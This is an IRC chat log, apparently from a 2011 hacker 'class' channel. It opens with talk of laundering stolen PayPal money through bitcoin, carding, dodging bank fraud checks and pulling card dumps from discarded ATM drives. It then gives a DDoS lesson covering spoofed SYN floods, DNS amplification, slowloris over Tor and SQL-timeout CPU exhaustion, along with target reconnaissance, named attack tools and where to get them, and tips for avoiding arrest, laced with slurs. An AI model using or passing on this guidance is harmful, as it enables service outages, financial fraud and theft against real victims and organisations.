[20:22:44] %StalluManu: convert to bitcoin, to another stolen paypal, merry go round.
[20:22:50] %StalluManu: da russian way.
[20:22:57] %StalluManu: wonder why bitcoins are worth so much? right
[20:23:14] +darkspline: StalluManu, resources needed to create one
[20:23:18] +darkspline: like… mining for jems
[20:23:32] +darkspline: only so many cpu's available
[20:24:04] %StalluManu: also, good suggestion, you can use a paypal debit card dropped off @ a dead drop for getting money.
[20:25:05] ~Fox: +7 for fraud talk
[20:25:05] %StalluManu: now, there's a legal disclaimer, i am obviously not asking you to do any kind of criminal activity, etcetera.
[20:25:25] %StalluManu: but it's hella lulzy to ddos someone from the cloud paid for with their own cash.
[20:26:41] %StalluManu: The offensive side of this is of course that more money transferred to bitcoin or shit not connected to your person can buy you cool stuff.
[20:26:51] %StalluManu: SIM cards and cellphones.
[20:27:01] %StalluManu: prepaid ccs.
[20:27:05] %StalluManu: cloud hosting

[20:27:08] Inquisition (~trancecat@LulzCo-A49AC652.bchsia.telus.net) left IRC. (Remote host closed the connection)
[20:27:08] %StalluManu: drugs
[20:27:18] @c0qsm3gma: i want a russian
[20:27:24] @c0qsm3gma: is there any russians here?
[20:27:34] -CTCP- FINGER from kratos
[20:27:47] Dox (~Dox@5F79AFBD.97573542.B0212E7C.IP) left the channel.
[20:27:53] ef2s (~ef2s@LulzCo-879302C5.torservers.net) left IRC.
[20:27:53] %StalluManu: lulz.
[20:28:00] dox_sleep (~Dox@5F79AFBD.97573542.B0212E7C.IP) joined the channel.
[20:28:18] %StalluManu: the less of your information is out there, the less the thousands of people you are going to piss off have to go on you.
[20:28:28] %StalluManu: always pay in cash at stores. never use ccs at physical stores.
[20:28:35] %StalluManu: same shit goes irl.
[20:28:42] %StalluManu: let them collect minimal data on you.
[20:28:46] %StalluManu: try to seem somewhat normal tough.
[20:28:50] c0qsm3gma (~halfdead@49E335EB.5D85DF6F.6D6C1268.IP) left the channel.
[20:28:54] %StalluManu: groceries shopping with a cc is ok.
[20:29:07] %StalluManu: shopping for crack cocaine with money you just pulled from the bank isnt.
[20:29:46] %StalluManu: there's various algorithms that you can find on google that the banks use to check if transactions seem legit.
[20:29:49] %StalluManu: use this to your best advantage.
[20:30:01] %StalluManu: if you dont, i herd the NCR has pretty shit security.
[20:30:27] %StalluManu: you see, you dont want your carding of people to stand out.
[20:30:42] %StalluManu: dont move all the money directly to bitcoin.
[20:31:26] %StalluManu: dont you fucking dare use this info for CP sales.
[20:31:32] %StalluManu: actually, i have a funny story on that.
[20:31:40] %StalluManu: there was a pretty big american bank, ~80k members.
[20:31:45] %StalluManu: That got pwned.
[20:31:45] Wearemudkipz (~Fire-Wolf@LulzCo-843DA4E1.cable.virginmedia.com) left IRC. (Read error: Connection reset by peer)
[20:31:50] %StalluManu: The russians used the account info for CP sales.
[20:31:59] Wearemudkipz (~Fire-Wolf@LulzCo-843DA4E1.cable.virginmedia.com) joined the channel.
[20:32:03] %StalluManu: The people that were clients at that bank got v&'d. Some of them are still in jail.
[20:32:10] %StalluManu: Jail as a kiddie fucker isn't fun.
[20:32:18] %StalluManu: The wrong jail and you're dead.
[20:32:30] darkspline (~darksplin@LulzCo-E5B1D91D.dyn.optonline.net) left IRC. (Ping timeout: 240 seconds)
[20:32:35] %God: http://www.megavideomovies.net/2010/02/watch-hackers-1995-megavideo-movie.html
[20:32:37] %StalluManu: So please, be somewhat carefull with releasing bank info.
[20:33:03] Fox sets mode +v imposter22
[20:33:09] ~Fox: Imposter has something on retail.
[20:33:18] +imposter22: i work for a retail computer company
[20:33:27] +imposter22: i know then in's and outs of the networking
[20:33:34] %StalluManu: do continue:P
[20:33:41] sublimepua (~sublimepu@LulzCo-693EDEBE.maine.res.rr.com) joined the channel.
[20:34:00] +imposter22: most stores store their creditcard info on all the registers and servers
[20:34:18] +imposter22: as anyone who knows anything about skimming
[20:34:45] +imposter22: there are 2/3 lines of code that arnt even encrypted on credit cards
[20:35:00] +imposter22: bank number. routing number/ name/ exp date
[20:35:14] +imposter22: all this info is saved temp in logs on all their hdd's
[20:35:38] +imposter22: which is why most stores are very secure with the old (even bad replaced hdd's)
[20:35:58] +imposter22: they log customer spending like crazy
[20:36:06] +imposter22: its a whole tracking system
[20:36:20] %StalluManu: imposter: i got some info on that too.
[20:36:30] %StalluManu: i've been in the netherlands for a while, and seen the NCR.
[20:36:43] %StalluManu: they are NOT that much into scrunity for their machines hdds.
[20:36:53] %StalluManu: THEIR atms do log cc numbers.
[20:37:04] %StalluManu: if you are lucky you can fish an atm from the trash and literally get a root image.
[20:37:09] %StalluManu: most of the shit on it is still xp + visual basic.
[20:37:21] +imposter22: yes… but thats not really NCR that does that
[20:37:24] +imposter22: that is the actual bank
[20:37:28] %StalluManu: true.
[20:37:35] %StalluManu: but they return 'em to the ncr for repairs.
[20:37:36] +imposter22: NCR supplies the equipment.. software is run through the banking company
[20:37:38] %StalluManu: ncr tosses them.
[20:37:44] %StalluManu: bingo, hdd.
[20:37:48] +imposter22: well… no
[20:38:10] +imposter22: companies have contracts with NCR and IBM and others to send the hdd's in for distruction
[20:38:21] +imposter22: this is a MUST for ATMS and backoffice servers
[20:38:27] +imposter22: they dont just toss those ones
[20:38:42] %StalluManu: uhh.. then where did someone who is not me get those root images with cc dumps from?
[20:38:45] %StalluManu: thin air?

[20:38:45] +Shidash: Does anyone know of places to get good proxies? Paid proxies are okay, just looking for the best ones possible.
[20:38:53] +imposter22: they log s/n's of the hdds and those logs contain where the hdd was and how long it was in commision
[20:39:03] %StalluManu: ^true^
[20:39:07] ~Fox: Shidash shhh
[20:39:12] ~Fox: ask later
[20:39:20] ~Fox: or tweeter
[20:39:32] +Shidash: oh, oops, did not realize the talk was still going
[20:40:03] +imposter22: what these companies dont know is how easy it is for a tech (not me :]) to just steal shit like crazy
[20:40:27] +imposter22: its amazing the securty they take from the general public… but leave the tech with a big securty gap
[20:41:09] %StalluManu: also ATM botnets r cool.
[20:41:13] +imposter22: a tech could skim 1000's of creditcards… get the ip address of the corp hq for the reimaging servers for the retail client
[20:41:41] njordx (kvirc@LulzCo-6FF4DBAB.c3-0.rdl-ubr1.trpr-rdl.pa.cable.rcn.com) joined the channel.
[20:41:44] +imposter22: ATM botnets? those exhist?
[20:41:54] %StalluManu: no comment.
[20:41:58] +imposter22: lol
[20:42:19] +imposter22: you know those lonely looking atms that look fake as hell but are real
[20:42:26] +imposter22: the ones in shitty stripclubs
[20:42:46] %StalluManu: ofc.
[20:42:58] %StalluManu: those that run win90?
[20:43:03] +imposter22: on the generic ones you can type a 5 digit code and change all kinds of settings
[20:43:05] %StalluManu: *win98
[20:43:25] +imposter22: cheaper
[20:43:47] +imposter22: they run a basic "XP ebedded
[20:44:14] ~Fox: Ok kids
[20:44:18] %StalluManu: btw, know something lulzy with PoS boxes:
[20:44:26] ~Fox: we've pretty much gone off the beaten path with our crypto talk
[20:44:27] %StalluManu: iexplorer exploits.
[20:44:31] %StalluManu: old iexplorer exploits
[20:44:31] %StalluManu: true.
[20:44:32] ~Fox: we're going to call this just general shit
[20:44:39] ~Fox: So before we close and I start wrapping up
[20:44:46] ~Fox: I've made the announcement on twitter
[20:44:48] dsr (~User@8432FAD9.BC6C1C87.ACA4AA1C.IP) left IRC. (Remote host closed the connection)
[20:44:50] ~Fox: I'll make it here as well
[20:45:01] ~Fox: We've had an overwhelming demand here for more advanced classes
[20:45:15] ~Fox: We still want to reach out to those of you that are at a basic level
[20:45:54] ~Fox: over the next few days and weeks we will be creating a site to house all of these talks, along with getting a more organized schedule for classes, teachers, and for input from you guys on what you want to learn more about.
[20:46:27] ~Fox: We appreciate the hell out of the kind word, encouragement and donations for those of you that have (18hRWnxoHztBPDYQ9bPA1uUpN8LTrd7xbB)
[20:46:35] %LordKitsuna: "we will be creating a site to house all of these talks" feel free to use my vps if you want
[20:46:44] ~Fox: We're getting together a lot of new things, so if you all keep coming, we'll keep rolling.

DDos (by Fox)

Posted by xoxo on June 11, 2011 None comments

~Fox: So, todays class, is to bring you low-life shitbirds out of the 4chan dregs of the Low Orbit Ion Cannon
[18:32:02] ~Fox: the internet equivalent of shaking your dick at someone.
[18:32:12] MrBlue (~MrBlue@LulzCo-D0CBE354.ias.bredband.telia.com) joined the channel.
[18:32:29] ~Fox: Hopefully by the end of this class you will have attained the knowledge to turn your dick into a godzilla like wrecking ball of destruction.
[18:32:42] %LordKitsuna: XD fox have i ever said how much i love the way you talk
[18:32:58] ~Fox: So before I see a mass spam of PMs for "AMG WHATS THIS" blah blah blah
[18:33:03] ~Fox: I'm gonna teach you the basics.
[18:33:39] ~Fox: Distributed Denial of Service is the act of taking an internet connection down by an overwhelming amount of information being thrown at the box.
[18:33:44] ~Fox: This can be one packet.
[18:33:49] ~Fox: Or It can be billions.
[18:33:55] ~Fox: * Denial of Service
[18:34:06] ~Fox: As long as the host is down, that's all that matters.
[18:34:25] ~Fox: Distributed obviously speaks for itself in the fact that multiple assets are used in order to take a target down.
[18:34:35] Gralon (~ho@LulzCo-F12D6B72.ip.telfort.nl) left IRC. (Ping timeout: 240 seconds)
[18:34:35] ~Fox: Now lets move on to the basics of types of attacks.
[18:34:49] ~Fox: Syn Flood.
[18:35:46] ~Fox: A syn flood is a shitload of TCP/SYN packets with forged sender addresses these are

handled by the target as an incoming connection request which causes the server to open a connection with out reciept
[18:36:12] atriox (~dicks@LulzCo-99D4CD75.tcso.qwest.net) left IRC. (Ping timeout: 240 seconds)
[18:36:20] ~Fox: The victim will send out a TCP/SYN-ACK and wait for a response that will never come
[18:36:36] ~Fox: So essentially lets say we have a 10mb pipe right?
[18:37:46] ~Fox: Lets say that pipe can keep 1,000,000 connections open at a given time
[18:37:59] ~Fox: We have 1,000 computers doing 1,000 connections
[18:38:02] ~Fox: Do the math.
[18:38:10] ~Fox: Side note for added Lulz:
[18:38:23] +darkspline: are those accurate metrics Fox?
[18:38:28] ~Fox: Vaguely.
[18:38:30] +darkspline: k
[18:38:33] ~Fox: You know when it's fucking down
[18:38:53] ~Fox: but guesstimated, yeah a 1,000 bot net will rock the fuck out of any home connection
[18:38:56] ~Fox: Unless you suck dick.
[18:39:10] %eax: unless your bot sucks dick
[18:39:17] ~Fox: LIST OF AWESOME IP ADDRESSES TO SPOOF FROM: http://www.uaff.info /militarytracking.htm
[18:39:23] +YaHMan: or they are rich and pay for 1gbps line?
[18:39:37] ~Fox: YaHMan I've lived a lot of places, 1gbps is rare.
[18:39:39] ~Fox: Anyways.
[18:39:45] rj (~rj@LulzCo-D9D2F7FF.shadowbots.com) left IRC. (Ping timeout: 240 seconds)
[18:39:47] +YaHMan: true.
[18:40:03] ~Fox: Moving along to ICMP floods.
[18:40:04] %LordKitsuna: Fox, what is used to say how many connections the pipe can take? the pipe itself or the equitment on the other end, my router says it has a (theoretical) max of 160,000
[18:40:24] +AnalTouring: LordKitsuna: that doesn't matter for SYN.
[18:40:32] ~Fox: +1 analtouring
[18:40:35] +AnalTouring: LordKitsuna: only the amounth of 60 byte packets you can send a second does.
[18:40:50] +AnalTouring: Now, why those military ranges should be the source adress.
[18:40:59] +AnalTouring: The server replies to a SYN packet with an ACK Packet remember?
[18:41:12] +AnalTouring: It sends the ACK Packet to the source adress: it DDOS's the FBI.
[18:41:18] +AnalTouring: Meaning the server owner gets v&.
[18:41:49] hate (~user@LulzCo-706F91F1.formlessnetworking.net) joined the channel.
[18:42:06] +YaHMan: Does this method work for all servers(providing you have the bw)?
[18:42:13] +AnalTouring: YaHMan: yes.
[18:42:17] +YaHMan: k thx.
[18:42:49] ~Fox: ICMP floods are something that someone I dont know who asked about
[18:43:04] ~Fox: there are other variations that if memory serves me are dead and gone,
[18:43:18] ~Fox: but ICMP is essentially a simple 'ping ' flood.
[18:43:26] +darkspline: there are always new ones though
[18:43:40] ~Fox: There are always new ones but Ping of Death don't really apply now does it.
[18:43:48] ~Fox: TearDrop either.
[18:44:52] Fox kicked darkspline from the channel. (nigga what you know about DDOS.)
[18:45:00] ~Fox: Anyways.
[18:45:13] +t: icmp is generally the most common because its in most of the public bots that most of the skids use and also is one of the easier ones to stop because without custom coding it cannot be spoofed
[18:45:34] darkspline (~darksplin@LulzCo-E5B1D91D.dyn.optonline.net) joined the channel.
[18:45:41] +t: so you can just tell your router to drop the packets
[18:46:06] ~Fox: +t. Wrong. ICMP floods by a competent network administrator can be blocked fairly easily.
[18:46:25] +t: thats what i said
[18:46:30] +t: is one of the easier ones to stop
[18:46:46] ~Fox: ^^ router
[18:47:00] ~Fox: I'm talking iptables and a bash script
[18:47:17] +t: mmmhhmmm
[18:47:26] ~Fox: In a DC environment you most likely won't have that luxury of being able to write your own router rulesets.
[18:47:32] ~Fox: Anyways moving along down the line.
[18:47:55] ~Fox: Moving on to definitions for DDOS.
[18:48:01] ~Fox: Command and Control.
[18:48:10] %eax: fox: forgot udp
[18:48:20] +AnalTouring: eax: stfu
[18:48:37] +AnalTouring: eax: i could name 20 more ddos methods that noobs dont need.
[18:48:38] ~Fox: EAX I'll backtrack, niggers been interrupting and i'm fucking losing my little bit of organization.
[18:49:01] Fox sets mode +h AnalTouring
[18:49:02] ~Fox: Lol
[18:49:06] ~Fox: I like that kid.
[18:49:18] %eax: i like him too. anyways continue
[18:49:20] MercWithTheMouth (~classvoid@LulzCo-D45C8D5B.hsd1.pa.comcast.net) left IRC. (Ping timeout: 240 seconds)
[18:49:23] ~Fox: Once again, cardinal fucking rule
[18:49:37] ~Fox: If you think I missed something, google it you lousy piece of shit, am I supposed to hand you everything?
[18:49:38] ~Fox: Fuck.
[18:49:47] +z3rod4ta: lol

[18:49:54] %srwx: anyone got a wiki
[18:49:57] Fox kicked z3rod4ta from the channel. (I know I'm funny.)
[18:49:58] %srwx: that i can post in?
[18:50:06] Fox kicked srwx from the channel. (Fuck you shut up asshat.)
[18:50:12] ~Fox: ….
[18:50:15] ~Fox: Anyone fucking else.
[18:50:20] @garrett: y u so mad
[18:50:37] ~Fox: Not :3
[18:50:47] ~Fox: Anyways
[18:50:47] z3rod4ta (~zerodata@LulzCo-E5943094.hsd1.ma.comcast.net) joined the channel.
[18:50:51] ~Fox: COMMAND AND CONTROL.
[18:51:05] ~Fox: This is the method in which you provide commands out to the 'nodes' within your network
[18:51:15] ~Fox: Bots
[18:51:32] %AnalTouring: (which you dont have, otherwise you wouldnt be here).
[18:51:53] ~Fox: Boats, Nodes, Shells, Zombies, Drones, whatever. They're your soldiers. They are the weight to your big swinging dick.
[18:52:06] ~Fox: (which obviously makes your internet dick a small little asian nothing.)
[18:52:44] ~Fox: AnalTouring can you roll for a second
[18:52:47] ~Fox: Grabbing a cigarette
[18:53:08] %AnalTouring: Bots are computers that you owned trough exploits or other means, or that other people gave to you to control.
[18:53:39] %AnalTouring: These boxes can be used to send shit over the internet.
[18:53:41] srwx (~zach@LulzCo-C17AE2F0.wks.liquidweb.com) joined the channel.
[18:53:52] %AnalTouring: Imagine there's a dude you want to troll. you start shouting over his phone.
[18:53:57] %AnalTouring: it doesn't work, you're shit out of luck.
[18:54:08] %AnalTouring: now imagine a hundred people that you coerced into shouting at him around you.
[18:54:14] %AnalTouring: DDOS with a botnet is kind of like that.
[18:54:26] %AnalTouring: just a bunch more computers shouting at the server.
[18:54:41] %AnalTouring: Everyone follow up till now?
[18:54:52] +YaHMan: which is better. Lots of small nodes with low bw or a reasonable amount of nodes with huge bandwidth like servers and shit?
[18:55:02] %AnalTouring: Small nodes, tons of them.
[18:55:16] %AnalTouring: Because shutting down a node is relatively easy if it's a large (say .gov or .edu) domain.
[18:55:29] %AnalTouring: 'cause admins of big sites don't want you to hax them.
[18:55:42] %AnalTouring: it's kind of like the little kid trying to bully the big kid into doing shit for him.
[18:55:52] %AnalTouring: and then zangief.jpg happens.
[18:55:59] %LordKitsuna: stupid question, is it possible to take control of network nodes.. like the ones cable providers use to give service to people (those big fukkers buried in the ground)
[18:56:13] %AnalTouring: Yes, technicall, tough not advisable
[18:56:17] %AnalTouring: *technically.
[18:56:24] %AnalTouring: and since you're in here, no fucking chance for you.
[18:56:52] %AnalTouring: So, who of you are still awake?
[18:56:58] YaHMan
[18:57:00] +Shidash: I am
[18:57:06] %eax: software you use is also important. almost any software out there currently is bug riddened and garbage
[18:57:15] %AnalTouring: eax: later.
[18:57:29] %eax: k
[18:57:35] %AnalTouring: So, you now realize that you have to shout harder than the legit traffic to the server.
[18:57:49] +t: you also have to watch what nodes you have for instance if you are hacking your "school" and it has 300 computers on it its not smart having all ov the computers send out 2gigs worth of data your gonna ddos the enternal network before it even gets to the target
[18:58:04] %AnalTouring: Remember the SYN attack, where you could spoof the source adress?
[18:58:14] Fox sets mode -v t
[18:58:46] %AnalTouring: Ok, now if you spoof the source adress, the server thinks a packet is from ANOTHER host than it's actually sent from.
[18:58:56] %AnalTouring: There is ONE MAJOR POINT i have to make about this so LISTEN THE FUCK UP.
[18:59:08] %AnalTouring: do NOT TRY THIS BEHIND A ROUTER. CHECK IF YOUR ISP allows spoofing.
[18:59:22] %AnalTouring: Because otherwise this WILL NOT WORK and you WILL BE V&.
[18:59:31] %AnalTouring: (most isps allow spoofing)
[18:59:34] ~Fox: VANNED = ARRESTED.
[18:59:45] %AnalTouring: So, check if you have a router in your cabinet, if you do, spoofing will not work
[19:00:04] +YaHMan: Is there anyway of turning it off in routers? like custom firmware?
[19:00:11] %AnalTouring: no.
[19:00:15] +YaHMan: kk
[19:00:23] %LordKitsuna: another stupid question: what happens if you spoof your address to the address of the target? how does the target respond?
[19:00:25] %AnalTouring: It's nat OR ip adress translation that does this.
[19:00:40] %AnalTouring: LordKitsuna: not effective, it'd send it locally.
[19:01:05] %AnalTouring: Like pinging 127.0.0.1, really fast, but does shit all for wasting bandwidth.
[19:01:19] %AnalTouring: Ok, to see if you are BEHIND a NAT, go to start=>run=>type cmd and hit enter
[19:01:22] %AnalTouring: you now see a black screen.

[19:01:26] %AnalTouring: type ifconfig.
[19:01:39] %AnalTouring: if your IP is in the 192.168.0.xxx range, congratulations, you have a router.
[19:01:48] %AnalTouring: (thus cant do this shit).
[19:01:50] ~Fox: And you are a complete faggot for not knowing this.
[19:02:02] %AnalTouring: Now, everyone follow?
[19:02:04] %eax: ipconfig*
[19:02:11] %LordKitsuna: dont mean to be to rude, but if you dont know you have a router idk if you should be in here
[19:02:12] %AnalTouring: thnx eax.
[19:02:24] %AnalTouring: LordKitsuna: probably not, but this is damn important
[19:02:52] %AnalTouring: Ok, i'll assume everyone followed up till here.
[19:02:52] %LordKitsuna: true
[19:03:08] notacop_honest (~amnesia@2310E577.8E384C6C.DD213F82.IP) joined the channel.
[19:03:12] %AnalTouring: Now you can send packets, or SAY SHIT to a server, and it thinks it's from another server, comprendre?
[19:03:14] Fox sets mode +v bizzylulz
[19:03:30] +Shidash: yes
[19:03:32] %AnalTouring: Now there are servers out there, that will reply with a BIGGER Message than you sent to it.
[19:03:43] +YaHMan: DNS servers?
[19:03:49] %AnalTouring: Exactly.
[19:04:00] %AnalTouring: That bigger message of course consumes more bandwidth.
[19:04:06] %AnalTouring: Which is what you're trying to achieve, remember?
[19:04:50] %AnalTouring: Ok, so you have a DNS server, which is a server that resolves website adresses to a computer adress.
[19:05:15] %AnalTouring: If it is recursive (there are tools to check this, GOOGLE IT FAGGOT), it is easy to get a much bigger reply from it than the packet you sent.
[19:05:20] %AnalTouring: this multiplication factor is up to 60 times.
[19:05:24] %AnalTouring: making you re-penis 60 times bigger.
[19:05:29] %AnalTouring: HOW DOES THAT SOUND TO YOU?
[19:05:37] +i0dine: FANTASTIC
[19:05:40] +YaHMan: l33t
[19:05:51] %AnalTouring: Now: we have a server that sends huge packets back.
[19:05:57] %AnalTouring: We have a way to spoof a source ip adress.
[19:06:00] %AnalTouring: Let's combine the two.
[19:06:09] %AnalTouring: We send a small packet to the server, with as source the IP of the server we want to DDOS.
[19:06:20] %AnalTouring: BOOM 60* the traffic you send to it goes to the server.
[19:06:29] %AnalTouring: Server pukes, craps it's guts out and dies
[19:07:04] %AnalTouring: There is a tool for windows out there to do this, it's called DHN.zip, most of the versions are infected by th3j35t3r, so if you download it, COMPILE IT YOURSELF (and remove it's tor binary)
[19:07:24] ElEzio (~ElEzio@LulzCo-204A77E4.torservers.net) joined the channel.
[19:07:29] +YaHMan: could you use plain old dig on linux to do that?
[19:07:48] %AnalTouring: Yup.
[19:07:59] %AnalTouring: There's a fuckton of tools on linux to do that.
[19:08:02] %AnalTouring: And it's fucking easy.
[19:08:10] %AnalTouring: But if you use linux, you'll probably know by now how to do this.
[19:08:47] %AnalTouring: Also, my keyboard is dieing.
[19:09:19] %AnalTouring: Now, everyone know how to compile DHN?
[19:10:13] %AnalTouring: anyone still here?
[19:10:17] +curi0us: no but i bet google does
[19:10:20] +YaHMan: yea soz
[19:10:25] eax doesnt have the source so meh
[19:10:27] ~Fox: AnalTouring most are not voiced.
[19:10:36] %AnalTouring: ok.
[19:10:52] %AnalTouring: KEYBOARD IS RLY NEARLY DED.
[19:10:56] +i0dine: I was just gunna refer to google if i found myself at a loss too : /
[19:10:58] %AnalTouring: so if i stop typing, take over.
[19:11:31] %AnalTouring: Ok, just go to 711chan/i/, download DHN from there if you're not sure.
[19:11:38] %AnalTouring: the oldest post of DHN there is safe.
[19:11:45] %AnalTouring: but ONLY THE OLDEST POST there.
[19:12:28] %AnalTouring: DHN will do SYN and DNS SPOOFIN'.
[19:13:05] %AnalTouring: Now that we've covered the most difficult basics, there's two more ways of ddosing that you need to know.
[19:13:09] %AnalTouring: both are BEST DONE OVER TOR.
[19:13:13] %AnalTouring: note that down.
[19:13:22] %AnalTouring: #1: slowloris.
[19:13:35] %AnalTouring: Slowloris is basically a mongloid talking to the server REALLY_SLOWLY.
[19:13:48] %AnalTouring: Because it talks really fucking slowly, you can consume a ton of connections before it senses you're a mongloid.
[19:14:03] %AnalTouring: Because it talks so slowly, it consumes little bandwidth.
[19:14:15] %AnalTouring: Because it consumes so little bandwidth, you can use it over TOR.
[19:14:20] %AnalTouring: everyone got that?
[19:14:33] +YaHMan: ye
[19:14:54] %AnalTouring: Ok, now just google slowloris and find yourself a version.
[19:15:05] %AnalTouring: I think it originally came from ha.ckers? (might have been sla.ckers).
[19:15:26] %AnalTouring: anyways. important option for ddos #2: consuming server CPU.
[19:15:28] %eax: ha.ckers

[19:15:33] %eax: google "slowloris.pl"
[19:15:40] %AnalTouring: the cpu is like a hamster. you make it run fast enough, it shits itself and dies.
[19:15:52] %AnalTouring: searches consume lots of cpu.
[19:16:04] %AnalTouring: sometimes you can use SQLI or other techniques, and get a database timeout.
[19:16:18] %AnalTouring: THOSE TIMEOUTS CAN SPELL THE DEATH OF A SERVER IF YOU HAVE A MILLION NIGGERS DOING THEM.
[19:16:28] %AnalTouring: this is also best done over TOR. (or your chinese botnet)
[19:16:42] %AnalTouring: basically, that's how you ddos servers.
[19:17:01] %AnalTouring: syn, dns spoofing, slowloris or attacking the database.
[19:18:00] %AnalTouring:
[19:18:06] %AnalTouring: so, sumnmary: dns spoof if you can.
[19:18:06] +YaHMan: would attacking the nameservers achieve much?
[19:18:17] %AnalTouring: YaHMan: depends on the network, most of the times no.
[19:18:34] +YaHMan: k
[19:18:47] %AnalTouring: So, now that you have a bigger e-penis, you're eager to fuck something in the ass.
[19:18:54] %AnalTouring: remember your internet condoms kids (proxy, tor).
[19:19:14] %AnalTouring: But what would you fuck in the ass? Obviously the easiest target. You're not going after the marathon runner are you?
[19:20:00] %AnalTouring: The general idea is to google "sites by ip adress" or something simliar, get one of the search engines, see if there's more than one site on that server.
[19:20:11] %AnalTouring: If yes: see if there's one with a CPU intensive search page.
[19:20:35] ~Fox: Moment.
[19:20:40] ~Fox: yougetsignal.com
[19:20:43] %AnalTouring: If no: see if the company has a financial/database backend and ddos that (if you cant find it, dns spoof the frontend)
[19:20:43] +i0dine: I manually searched and googled, but I can't find the file you're refering to "Your search – site:711chan.org DHN – did not match any documents." Anyone else find it? Also, when a search comes back with an sql timeout, it can most likely be taken down by distributing that search?
[19:21:00] %AnalTouring: i0dine: yes.
[19:21:07] +curi0us: i couldnt find it either
[19:21:28] %AnalTouring: Fox: take over for a few seconds please.
[19:21:31] ~Fox: Sure
[19:21:33] %AnalTouring: i'll b back in a moment.
[19:21:36] ~Fox: So anyways
[19:21:41] ~Fox: Sites by IP address
[19:21:48] ~Fox: lets say for instance that your target is fuckboy.com
[19:21:56] ~Fox: right?
[19:22:03] ~Fox: so what we're gonna do is ping fuckboy.com
[19:22:06] AnalTouring (~Nigr0@alt.zionism) left IRC. (Remote host closed the connection)
[19:22:09] eax sets mode +v str4d
[19:22:32] ~Fox: Now
[19:22:38] ~Fox: we get an ip of 1.2.3.4
[19:22:50] ~Fox: now we're gonna put that into the yougetsignal page and get a return of:
[19:22:52] ~Fox: fuckboy.com
[19:22:58] ~Fox: BYATniggaz.com
[19:23:05] eax sets mode +v zone
[19:23:07] ~Fox: vuvuzelawhateverthefuckitscalled.com
[19:23:14] +YaHMan: shared hosting?
[19:23:17] ~Fox: and ohshitthissitewasREALLYpoorlycoded.com
[19:23:42] ~Fox: That would indicated either a shared hosting environment, or a dedicated server depending on some of the hostnames found within that search.
[19:23:55] dominus (deep@LulzCo-6D0FF491.dhcp.reno.nv.charter.com) joined the channel.
[19:24:06] ~Fox: IF you're really trying to be crafty you can try and find out what blocks of IPs were assigned to that server.
[19:24:29] ~Fox: Usually if you're finding a main IP you'll find it in sets of /28's-/24's
[19:25:15] ~Fox: Anyways
[19:25:17] AnalTouring (~Nigr0@alt.zionism) joined the channel.
[19:25:26] ~Fox: moving along from this we find that ohshitthissitewasREALLYpoorlycoded.com
[19:25:43] eax sets mode +v AnalTouring
[19:25:58] ~Fox: has a vulnerability that we can use by sending our bots to: ohshitthissitewasREALLYpoorlycoded.com/search.php?q=OHFUCKDDOS%20OHFUCK
[19:26:00] ~Fox: Right?
[19:26:03] pRjck3vC (~qz5UMksT@88C5B530.CD918B2F.380801F2.IP) left IRC. (Remote host closed the connection)
[19:26:13] Fox sets mode +h AnalTouring
[19:26:15] %AnalTouring: Right.
[19:26:21] pRjck3vC (~qz5UMksT@555E4E05.CD918B2F.380801F2.IP) joined the channel.
[19:26:29] ~Fox: So at this point sending our bots to that address
[19:26:36] ~Fox: would have the effect of a million nigger army.
[19:27:01] ~Fox: Analtouring would you like to pick back up
[19:27:51] ~Fox: Alright moving down the line
[19:27:52] ElEzio (~ElEzio@LulzCo-204A77E4.torservers.net) left IRC. (Remote host closed the connection)
[19:28:05] ~Fox: So we've sent our bots to that address and the host is down
[19:28:17] ~Fox: since we've killed the connection that IP the box is DONE FOR
[19:28:19] ~Fox: FUCK YEAH.

[19:28:27] ~Fox: Wait… no it's not.
[19:28:37] ~Fox: because it's not just ANY site, it's a round robin DNS.
[19:29:15] ~Fox: So round robin DNS
[19:29:26] ~Fox: is exactly what it sounds like if you're not a fuck-wit bitch boy.
[19:29:44] %AnalTouring: http://forum.intern0t.net/perl-python/823-dns-amplification-attack-proof-concept.html dns amplify for linux.
[19:29:57] ~Fox: Multiple servers handling DNS records for that site going to fail over boxes in the event that one is disabled.
[19:30:04] ~Fox: So IE:
[19:30:18] ~Fox: I take out DNS1 and DNS2 that point to Server 3
[19:30:46] ~Fox: DNS1 and DNS2 had other records pointing to DNS 3 and DNS 4 in the event that DNS 1 and 2 aren't able to be talked to
[19:30:54] ~Fox: DNS 3 and DNS 4 point to server 5.
[19:31:16] ~Fox: This is a fairly complex setup but is a huge step in 'casing' a target before hitting it
[19:32:02] ~Fox: Because at this point we'd have to test over server 5 and find a sure-fire way to ensure that both server 1 and server 5 are down at the same time making an effective distributed denial of service.
[19:32:26] ~Fox: So now there is one more big-boy before we get into how you make yourself a net.
[19:32:29] ~Fox: But before that
[19:32:36] ~Fox: I'd really like to stress something to you kids.
[19:32:57] ~Fox: DO NOT TAKE WHAT WE ARE TELLING YOU LIGHTLY
[19:33:00] ~Fox: THIS IS NOT LOIC.
[19:33:13] %AnalTouring: (and LOIC WILL GET YOU V&)
[19:33:30] ~Fox: THIS IS THE DIGITAL EQUIVALENT OF SMASHING SOME FUCK IN THE NOSE WITH A MOSSBERG SHOTTY AND HOLDING THE GIRL AT GUNPOINT
[19:33:39] ~Fox: This is digital shanghai.
[19:33:53] +YaHMan: vpns are safe though right?
[19:33:55] ~Fox: Don't fuck around here, this is stick-up boy shit. You will do the same time.
[19:34:03] ~Fox: I'll get to that after we finish the types of attacks
[19:34:07] +YaHMan: kk
[19:34:42] ~Fox: Pay attention when I tell you how to protect yourself
[19:34:50] ~Fox: If you get lazy, if you fucking slack
[19:35:15] ~Fox: that one time will be the fucking time your traffic was monitored, you were connected to your network and you recieved a fucking thousand count case.
[19:35:45] ~Fox: I've seen hundreds of people go down for this kind of shit, so wield it like you wield a gun, with precision, and with respect.
[19:37:00] ~Fox: Anyways
[19:37:12] %AnalTouring: Also, if there's any trace of your nick on google linking it to you. now would be the time to fix (erase) that.
[19:37:12] ~Fox: Moving along to another type that I'm going to glance over
[19:37:14] lighth0use (~shadow@LulzCo-10001504.tampabay.res.rr.com) joined the channel.
[19:37:14] ElEzio (~ElEzio@2CB9EA0F.73CFA4EC.8A79DD07.IP) joined the channel.
[19:37:21] DiggerNicks (~BallZack@Dick.Smash) joined the channel.
[19:37:22] ~Fox: AnalTouring exactly.
[19:37:35] Fox sets mode +vv lighth0use DiggerNicks
[19:37:56] ~Fox: For those of you just joining, notes will be posted.
[19:37:58] ~Fox: Just keep up.
[19:38:00] ~Fox: Anyways,
[19:38:21] ~Fox: Another type of service that was brought to my attention was buffer overflow.
[19:38:28] ~Fox: This is another type of hardware overload.
[19:38:37] %AnalTouring: *Software
[19:38:43] ~Fox: Thank you.
